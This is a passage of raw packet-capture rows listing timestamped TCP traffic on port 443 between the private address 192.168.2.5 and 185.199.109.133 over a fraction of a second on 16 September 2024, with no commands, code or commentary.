Sep 16, 2024 19:24:31.542314053 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.542323112 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.542370081 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.542783976 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.542829990 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.542889118 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.542898893 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.543025970 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.543345928 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.543418884 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.543466091 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.543473959 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.543596983 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.545022011 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.545072079 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.545116901 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.545135021 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.545171976 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.548994064 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.564865112 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.564877033 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.581469059 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.581542015 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.581554890 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.581571102 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.581602097 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.581672907 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.581971884 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.582011938 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.582057953 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.582068920 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.582102060 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.582159042 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.582304955 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.582313061 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.582537889 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.582578897 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.582616091 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.582628012 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.582659006 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.583002090 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.583046913 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.583055973 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.583091021 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.583097935 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.583122969 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.583178043 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.587443113 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.587517977 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.587564945 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.587574959 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.587618113 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.594062090 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.594106913 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.594167948 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.594182014 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.594228029 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.594273090 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.594934940 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.594976902 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.595019102 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.595031977 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.595062971 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.595576048 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.595623016 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.595664978 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.595678091 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.595710993 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.595860004 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.622535944 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.622581959 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.622638941 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.622669935 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.622705936 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.622725964 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.623420954 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.623464108 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.623508930 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.623522997 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.623564005 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.623899937 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.624042988 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.624087095 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.624128103 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.624140978 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.624171019 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.624501944 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.624551058 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.624593973 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.624608040 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.624686956 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.624686956 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.624855042 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.624896049 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.624937057 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.624949932 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.624979973 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.625145912 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.625171900 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.625214100 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.625256062 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.625268936 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.625300884 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.625643015 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.625750065 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.625797987 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.625880003 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.625893116 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.625935078 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.625960112 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.626036882 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.626086950 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.626133919 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.626146078 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.626174927 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.626211882 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.627090931 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.627152920 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.627217054 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.627227068 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.627242088 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.628313065 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.628369093 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.628412008 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.628421068 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.628452063 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.628845930 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.628886938 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.628945112 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.628966093 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.629019976 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.629683971 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.629731894 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.629770041 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.629779100 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.629812002 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.630239964 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.630281925 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.630350113 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.630357981 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.630398035 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.630664110 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.630711079 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.630779982 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.630779982 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.630789995 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.631108046 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.631161928 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.631198883 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.631207943 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.631272078 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.632169962 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.632215023 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.632258892 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.632282972 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.632320881 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.634154081 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.668320894 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.668365955 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.668484926 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.668484926 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.668504000 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.668803930 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.668848991 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.668850899 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.668879032 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.668895960 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.668951988 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.668952942 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.669397116 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.669440031 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.669480085 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.669492960 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.669524908 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.669996977 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.670043945 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.670094013 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.670109034 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.670140982 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.670625925 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.675316095 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.675421000 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.675424099 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.675467014 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.675534010 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.681725025 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.681765079 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.681808949 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.681823969 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.681855917 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.681940079 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.682759047 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.682800055 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.682857990 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.682869911 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.682902098 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.683094978 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.683445930 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.683486938 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.683541059 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.683552980 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.683585882 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.683778048 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.700262070 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.700300932 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.703423977 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.721092939 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.721158028 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.721220970 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.721240044 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.721282959 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.721323013 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.721689939 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.721738100 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.721781015 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.721792936 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.721836090 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.721879959 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.721916914 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.721929073 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.721962929 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.721976042 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.721997023 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.722120047 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.722738981 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.722795010 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.722845078 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.722877979 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.723011971 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.723020077 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.723077059 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.723151922 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.723160982 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.723191977 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.723192930 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.723239899 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.723282099 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.723294973 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.723330021 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.723450899 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.723630905 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.723670959 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.723714113 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.723730087 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.723762035 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.723849058 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.724005938 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.724047899 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.724096060 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.724103928 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.724137068 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.724236965 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.724250078 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.724283934 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.724296093 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.724314928 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.724322081 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.724338055 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.724355936 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.724358082 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.724385977 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.724385977 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.724427938 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.724591970 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.724632025 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.724674940 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.724701881 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.724734068 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.724752903 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.724879980 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.724922895 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.724961996 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.724975109 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.725007057 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.725174904 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.725303888 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.725343943 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.725395918 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.725404024 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.725446939 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.725534916 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.725588083 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.725872040 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.725879908 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.725919962 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.725931883 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.725975037 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.726020098 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.726032019 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.726068974 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.726340055 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.726380110 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.726383924 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.726432085 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.726438999 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.726511002 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.758577108 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.758622885 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.758682013 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.758702040 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.758728027 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.759079933 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.759119987 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.759128094 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.759154081 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.759172916 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.759217024 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.759217024 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.761467934 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.761508942 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.761569023 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.761581898 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.761615038 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.761789083 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.762809038 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.762855053 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.762888908 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.762902021 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.762932062 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.764117002 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.769974947 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.769974947 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.770018101 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.770031929 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.770085096 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.770085096 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.770095110 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.770097971 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.770133018 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.770134926 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.770277023 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.770282030 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.770306110 CEST	443	51652	185.199.109.133	192.168.2.5
